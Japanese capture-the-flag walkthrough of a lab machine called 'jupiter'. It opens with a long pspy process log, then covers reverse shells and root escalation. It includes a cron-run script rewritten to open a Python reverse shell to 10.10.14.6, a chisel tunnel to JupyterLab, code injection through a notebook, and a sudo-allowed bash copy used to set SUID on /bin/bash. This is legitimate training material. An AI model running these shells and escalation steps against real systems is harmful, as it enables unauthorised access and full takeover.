2023/06/06 13:51:25 CMD: UID=102   PID=715    | /lib/systemd/systemd-resolved 
2023/06/06 13:51:25 CMD: UID=0     PID=687    | 
2023/06/06 13:51:25 CMD: UID=0     PID=685    | 
2023/06/06 13:51:25 CMD: UID=0     PID=664    | 
2023/06/06 13:51:25 CMD: UID=101   PID=592    | /lib/systemd/systemd-networkd 
2023/06/06 13:51:25 CMD: UID=0     PID=571    | /lib/systemd/systemd-udevd 
2023/06/06 13:51:25 CMD: UID=0     PID=561    | /sbin/multipathd -d -s 
2023/06/06 13:51:25 CMD: UID=0     PID=560    | 
2023/06/06 13:51:25 CMD: UID=0     PID=559    | 
2023/06/06 13:51:25 CMD: UID=0     PID=558    | 
2023/06/06 13:51:25 CMD: UID=0     PID=551    | 
2023/06/06 13:51:25 CMD: UID=0     PID=520    | /lib/systemd/systemd-journald 
2023/06/06 13:51:25 CMD: UID=0     PID=456    | 
2023/06/06 13:51:25 CMD: UID=0     PID=455    | 
2023/06/06 13:51:25 CMD: UID=0     PID=397    | 
2023/06/06 13:51:25 CMD: UID=0     PID=365    | 
2023/06/06 13:51:25 CMD: UID=0     PID=364    | 
2023/06/06 13:51:25 CMD: UID=0     PID=341    | 
2023/06/06 13:51:25 CMD: UID=0     PID=340    | 
2023/06/06 13:51:25 CMD: UID=0     PID=334    | 
2023/06/06 13:51:25 CMD: UID=0     PID=315    | 
2023/06/06 13:51:25 CMD: UID=0     PID=312    | 
2023/06/06 13:51:25 CMD: UID=0     PID=310    | 
2023/06/06 13:51:25 CMD: UID=0     PID=307    | 
2023/06/06 13:51:25 CMD: UID=0     PID=301    | 
2023/06/06 13:51:25 CMD: UID=0     PID=295    | 
2023/06/06 13:51:25 CMD: UID=0     PID=290    | 
2023/06/06 13:51:25 CMD: UID=0     PID=272    | 
2023/06/06 13:51:25 CMD: UID=0     PID=270    | 
2023/06/06 13:51:25 CMD: UID=0     PID=269    | 
2023/06/06 13:51:25 CMD: UID=0     PID=266    | 
2023/06/06 13:51:25 CMD: UID=0     PID=265    | 
2023/06/06 13:51:25 CMD: UID=0     PID=264    | 
2023/06/06 13:51:25 CMD: UID=0     PID=262    | 
2023/06/06 13:51:25 CMD: UID=0     PID=261    | 
2023/06/06 13:51:25 CMD: UID=0     PID=260    | 
2023/06/06 13:51:25 CMD: UID=0     PID=259    | 
2023/06/06 13:51:25 CMD: UID=0     PID=258    | 
2023/06/06 13:51:25 CMD: UID=0     PID=257    | 
2023/06/06 13:51:25 CMD: UID=0     PID=256    | 
2023/06/06 13:51:25 CMD: UID=0     PID=255    | 
2023/06/06 13:51:25 CMD: UID=0     PID=254    | 
2023/06/06 13:51:25 CMD: UID=0     PID=253    | 
2023/06/06 13:51:25 CMD: UID=0     PID=252    | 
2023/06/06 13:51:25 CMD: UID=0     PID=251    | 
2023/06/06 13:51:25 CMD: UID=0     PID=250    | 
2023/06/06 13:51:25 CMD: UID=0     PID=249    | 
2023/06/06 13:51:25 CMD: UID=0     PID=248    | 
2023/06/06 13:51:25 CMD: UID=0     PID=247    | 
2023/06/06 13:51:25 CMD: UID=0     PID=246    | 
2023/06/06 13:51:25 CMD: UID=0     PID=245    | 
2023/06/06 13:51:25 CMD: UID=0     PID=244    | 
2023/06/06 13:51:25 CMD: UID=0     PID=243    | 
2023/06/06 13:51:25 CMD: UID=0     PID=242    | 
2023/06/06 13:51:25 CMD: UID=0     PID=241    | 
2023/06/06 13:51:25 CMD: UID=0     PID=240    | 
2023/06/06 13:51:25 CMD: UID=0     PID=239    | 
2023/06/06 13:51:25 CMD: UID=0     PID=238    | 
2023/06/06 13:51:25 CMD: UID=0     PID=237    | 
2023/06/06 13:51:25 CMD: UID=0     PID=236    | 
2023/06/06 13:51:25 CMD: UID=0     PID=235    | 
2023/06/06 13:51:25 CMD: UID=0     PID=234    | 
2023/06/06 13:51:25 CMD: UID=0     PID=233    | 
2023/06/06 13:51:25 CMD: UID=0     PID=232    | 
2023/06/06 13:51:25 CMD: UID=0     PID=231    | 
2023/06/06 13:51:25 CMD: UID=0     PID=230    | 
2023/06/06 13:51:25 CMD: UID=0     PID=229    | 
2023/06/06 13:51:25 CMD: UID=0     PID=228    | 
2023/06/06 13:51:25 CMD: UID=0     PID=227    | 
2023/06/06 13:51:25 CMD: UID=0     PID=226    | 
2023/06/06 13:51:25 CMD: UID=0     PID=225    | 
2023/06/06 13:51:25 CMD: UID=0     PID=224    | 
2023/06/06 13:51:25 CMD: UID=0     PID=223    | 
2023/06/06 13:51:25 CMD: UID=0     PID=222    | 
2023/06/06 13:51:25 CMD: UID=0     PID=221    | 
2023/06/06 13:51:25 CMD: UID=0     PID=220    | 
2023/06/06 13:51:25 CMD: UID=0     PID=219    | 
2023/06/06 13:51:25 CMD: UID=0     PID=218    | 
2023/06/06 13:51:25 CMD: UID=0     PID=217    | 
2023/06/06 13:51:25 CMD: UID=0     PID=216    | 
2023/06/06 13:51:25 CMD: UID=0     PID=215    | 
2023/06/06 13:51:25 CMD: UID=0     PID=214    | 
2023/06/06 13:51:25 CMD: UID=0     PID=213    | 
2023/06/06 13:51:25 CMD: UID=0     PID=212    | 
2023/06/06 13:51:25 CMD: UID=0     PID=211    | 
2023/06/06 13:51:25 CMD: UID=0     PID=210    | 
2023/06/06 13:51:25 CMD: UID=0     PID=209    | 
2023/06/06 13:51:25 CMD: UID=0     PID=208    | 
2023/06/06 13:51:25 CMD: UID=0     PID=207    | 
2023/06/06 13:51:25 CMD: UID=0     PID=206    | 
2023/06/06 13:51:25 CMD: UID=0     PID=205    | 
2023/06/06 13:51:25 CMD: UID=0     PID=204    | 
2023/06/06 13:51:25 CMD: UID=0     PID=181    | 
2023/06/06 13:51:25 CMD: UID=0     PID=158    | 
2023/06/06 13:51:25 CMD: UID=0     PID=153    | 
2023/06/06 13:51:25 CMD: UID=0     PID=152    | 
2023/06/06 13:51:25 CMD: UID=0     PID=149    | 
2023/06/06 13:51:25 CMD: UID=0     PID=138    | 
2023/06/06 13:51:25 CMD: UID=0     PID=137    | 
2023/06/06 13:51:25 CMD: UID=0     PID=136    | 
2023/06/06 13:51:25 CMD: UID=0     PID=134    | 
2023/06/06 13:51:25 CMD: UID=0     PID=133    | 
2023/06/06 13:51:25 CMD: UID=0     PID=132    | 
2023/06/06 13:51:25 CMD: UID=0     PID=131    | 
2023/06/06 13:51:25 CMD: UID=0     PID=129    | 
2023/06/06 13:51:25 CMD: UID=0     PID=128    | 
2023/06/06 13:51:25 CMD: UID=0     PID=127    | 
2023/06/06 13:51:25 CMD: UID=0     PID=126    | 
2023/06/06 13:51:25 CMD: UID=0     PID=125    | 
2023/06/06 13:51:25 CMD: UID=0     PID=124    | 
2023/06/06 13:51:25 CMD: UID=0     PID=123    | 
2023/06/06 13:51:25 CMD: UID=0     PID=122    | 
2023/06/06 13:51:25 CMD: UID=0     PID=121    | 
2023/06/06 13:51:25 CMD: UID=0     PID=120    | 
2023/06/06 13:51:25 CMD: UID=0     PID=119    | 
2023/06/06 13:51:25 CMD: UID=0     PID=118    | 
2023/06/06 13:51:25 CMD: UID=0     PID=117    | 
2023/06/06 13:51:25 CMD: UID=0     PID=116    | 
2023/06/06 13:51:25 CMD: UID=0     PID=115    | 
2023/06/06 13:51:25 CMD: UID=0     PID=114    | 
2023/06/06 13:51:25 CMD: UID=0     PID=113    | 
2023/06/06 13:51:25 CMD: UID=0     PID=112    | 
2023/06/06 13:51:25 CMD: UID=0     PID=111    | 
2023/06/06 13:51:25 CMD: UID=0     PID=110    | 
2023/06/06 13:51:25 CMD: UID=0     PID=109    | 
2023/06/06 13:51:25 CMD: UID=0     PID=108    | 
2023/06/06 13:51:25 CMD: UID=0     PID=107    | 
2023/06/06 13:51:25 CMD: UID=0     PID=106    | 
2023/06/06 13:51:25 CMD: UID=0     PID=105    | 
2023/06/06 13:51:25 CMD: UID=0     PID=104    | 
2023/06/06 13:51:25 CMD: UID=0     PID=103    | 
2023/06/06 13:51:25 CMD: UID=0     PID=102    | 
2023/06/06 13:51:25 CMD: UID=0     PID=101    | 
2023/06/06 13:51:25 CMD: UID=0     PID=100    | 
2023/06/06 13:51:25 CMD: UID=0     PID=99     | 
2023/06/06 13:51:25 CMD: UID=0     PID=98     | 
2023/06/06 13:51:25 CMD: UID=0     PID=97     | 
2023/06/06 13:51:25 CMD: UID=0     PID=96     | 
2023/06/06 13:51:25 CMD: UID=0     PID=94     | 
2023/06/06 13:51:25 CMD: UID=0     PID=93     | 
2023/06/06 13:51:25 CMD: UID=0     PID=91     | 
2023/06/06 13:51:25 CMD: UID=0     PID=89     | 
2023/06/06 13:51:25 CMD: UID=0     PID=88     | 
2023/06/06 13:51:25 CMD: UID=0     PID=87     | 
2023/06/06 13:51:25 CMD: UID=0     PID=86     | 
2023/06/06 13:51:25 CMD: UID=0     PID=85     | 
2023/06/06 13:51:25 CMD: UID=0     PID=84     | 
2023/06/06 13:51:25 CMD: UID=0     PID=83     | 
2023/06/06 13:51:25 CMD: UID=0     PID=82     | 
2023/06/06 13:51:25 CMD: UID=0     PID=81     | 
2023/06/06 13:51:25 CMD: UID=0     PID=34     | 
2023/06/06 13:51:25 CMD: UID=0     PID=33     | 
2023/06/06 13:51:25 CMD: UID=0     PID=32     | 
2023/06/06 13:51:25 CMD: UID=0     PID=31     | 
2023/06/06 13:51:25 CMD: UID=0     PID=30     | 
2023/06/06 13:51:25 CMD: UID=0     PID=29     | 
2023/06/06 13:51:25 CMD: UID=0     PID=27     | 
2023/06/06 13:51:25 CMD: UID=0     PID=26     | 
2023/06/06 13:51:25 CMD: UID=0     PID=25     | 
2023/06/06 13:51:25 CMD: UID=0     PID=24     | 
2023/06/06 13:51:25 CMD: UID=0     PID=22     | 
2023/06/06 13:51:25 CMD: UID=0     PID=21     | 
2023/06/06 13:51:25 CMD: UID=0     PID=20     | 
2023/06/06 13:51:25 CMD: UID=0     PID=19     | 
2023/06/06 13:51:25 CMD: UID=0     PID=18     | 
2023/06/06 13:51:25 CMD: UID=0     PID=17     | 
2023/06/06 13:51:25 CMD: UID=0     PID=16     | 
2023/06/06 13:51:25 CMD: UID=0     PID=15     | 
2023/06/06 13:51:25 CMD: UID=0     PID=14     | 
2023/06/06 13:51:25 CMD: UID=0     PID=13     | 
2023/06/06 13:51:25 CMD: UID=0     PID=12     | 
2023/06/06 13:51:25 CMD: UID=0     PID=11     | 
2023/06/06 13:51:25 CMD: UID=0     PID=10     | 
2023/06/06 13:51:25 CMD: UID=0     PID=8      | 
2023/06/06 13:51:25 CMD: UID=0     PID=6      | 
2023/06/06 13:51:25 CMD: UID=0     PID=5      | 
2023/06/06 13:51:25 CMD: UID=0     PID=4      | 
2023/06/06 13:51:25 CMD: UID=0     PID=3      | 
2023/06/06 13:51:25 CMD: UID=0     PID=2      | 
2023/06/06 13:51:25 CMD: UID=0     PID=1      | /sbin/init 
2023/06/06 13:51:25 CMD: UID=0     PID=1      | /sbin/init 
2023/06/06 13:52:01 CMD: UID=0     PID=74489  | /usr/sbin/CRON -f -P 
2023/06/06 13:52:01 CMD: UID=0     PID=74490  | /usr/sbin/CRON -f -P 
2023/06/06 13:52:01 CMD: UID=1000  PID=74491  | /bin/sh -c /home/juno/shadow-simulation.sh

あ、UID=1000で/home/juno/shadow-simulation.shが動いているので、シェルにコマンド叩き込めば権限昇格できそう。

Reverse Shell

以下のシェルを作成する。

shadow-simulation.sh

#!/bin/bash
curl http://10.10.14.6/start
/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
curl http://10.10.14.6/end

これでリバースシェルが起動するのを待つ。

junoのシェルをゲット！！！Userフラグをゲットできました。

Privilege Escalation - Vertical

linpeas

この権限で回してみる。

...省略

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                           
  Group juno:                                                                                                                                               
/dev/mqueue/linpeas.txt                                                                                                                                     
/dev/shm/linpeas.txt.tmp1
/dev/shm/shadow.data
/dev/shm/shadow.data/sim-stats.json
/dev/shm/shadow.data/processed-config.yaml
/dev/shm/shadow.data/hosts
/dev/shm/shadow.data/hosts/server
/dev/shm/shadow.data/hosts/server/server.python3.10.1000.exitcode
/dev/shm/shadow.data/hosts/client3
/dev/shm/shadow.data/hosts/client3/client3.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client2
/dev/shm/shadow.data/hosts/client2/client2.curl.1000.exitcode
/dev/shm/shadow.data/hosts/client1
/dev/shm/shadow.data/hosts/client1/client1.curl.1000.exitcode
/dev/shm/network-simulation.yml
/home/juno
  Group science:
/opt/solar-flares                                                                                                                                           
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
#)You_can_write_even_more_files_inside_last_directory

/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv

...省略

/opt/solar-flares/を見ることが出来るようになったので、此奴を見てみる。

Jupyterlab

/opt/solar-flares/の階層にはJupyterlabのファイルである.ipynbがあった。Jupyterlabなのでどうせ8888あたりの8千代のPortが立っているんだろうなと思ったら8888が立っていた。Tunnelを開けるのでchiselを使用する。

Chisel

以下サイトからamd64のバージョンをインストール。

Kaliをサーバー側、Junoさんをクライアント側で設定する。

kali

┌──(root㉿kali)-[~/work]
└─# ./chisel_1.8.1_linux_amd64  server --port 4441 --reverse                     
2023/06/06 11:16:46 server: Reverse tunnelling enabled
2023/06/06 11:16:46 server: Fingerprint RYn6J13IWDR2bwwfHCrDGUSqYh94eGeoXA16PetcQ0w=
2023/06/06 11:16:46 server: Listening on http://0.0.0.0:4441
2023/06/06 11:17:48 server: session#1: tun: proxy#R:8888=>8888: Listening

juno

juno@jupiter:/tmp$ ./chisel_1.8.1_linux_amd64 client -v 10.10.14.6:4441 R:8888:127.0.0.1:8888

トンネルを開けるとシェルが足りなくなるので別途以下のリバースシェルを用意しておく。

shadow-simulation.sh

#!/bin/bash
curl http://10.10.14.6/start
/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",3434));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
curl http://10.10.14.6/end

Port 8888

アクセスしにいく。Tokenが必要といわれているのでstart.shで動かした際のログからTokenを搾取する。

Tokenを指定してアクセスしたら入れた。

flares.ipynbを確認しつつ、Pythonコードを叩き込めそうなので、リバースシェルを叩き込む。

jovianのシェルをゲットできた！

sudo -l

Nopasswordで叩けるコマンドを確認しておく。

jovian@jupiter:/opt/solar-flares$ sudo -l
sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

sattrackが叩けるみたいなので、--helpで使い方を確認する。

jovian@jupiter:/opt/solar-flares$ /usr/local/bin/sattrack --help
/usr/local/bin/sattrack --help
GNU bash, version 5.1.16(1)-release-(x86_64-pc-linux-gnu)
Usage:  /usr/local/bin/sattrack [GNU long option] [option] ...
        /usr/local/bin/sattrack [GNU long option] [option] script-file ...
GNU long options:
        --debug
        --debugger
        --dump-po-strings
        --dump-strings
        --help
        --init-file
        --login
        --noediting
        --noprofile
        --norc
        --posix
        --pretty-print
        --rcfile
        --restricted
        --verbose
        --version
Shell options:
        -ilrsD or -c command or -O shopt_option         (invocation only)
        -abefhkmnptuvxBCHP or -o option
Type `/usr/local/bin/sattrack -c "help set"' for more information about shell options.
Type `/usr/local/bin/sattrack -c help' for more information about shell builtin commands.
Use the `bashbug' command to report bugs.

bash home page: <http://www.gnu.org/software/bash>
General help using GNU software: <http://www.gnu.org/gethelp/>

-cコマンドでコマンドを叩き込めそう。

sattrack

sフラグ付けます。

jovian@jupiter:/opt/solar-flares$ sudo /usr/local/bin/sattrack -c "chmod +s /bin/bash"
sudo /usr/local/bin/sattrack -c "chmod +s /bin/bash"
jovian@jupiter:/opt/solar-flares$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
jovian@jupiter:/opt/solar-flares$ bash -p
bash -p
whoami
root

Root権限奪取完了！！！

まとめ

ファイルリソースの取り合いだった。アリーナが恋しいです。
リバースシェルの応酬でSSHも恋しかったです。インタラクティブシェルの手間がかかるので...

今回もセキュリティエンジニアの皆さんの助けになればなと思います。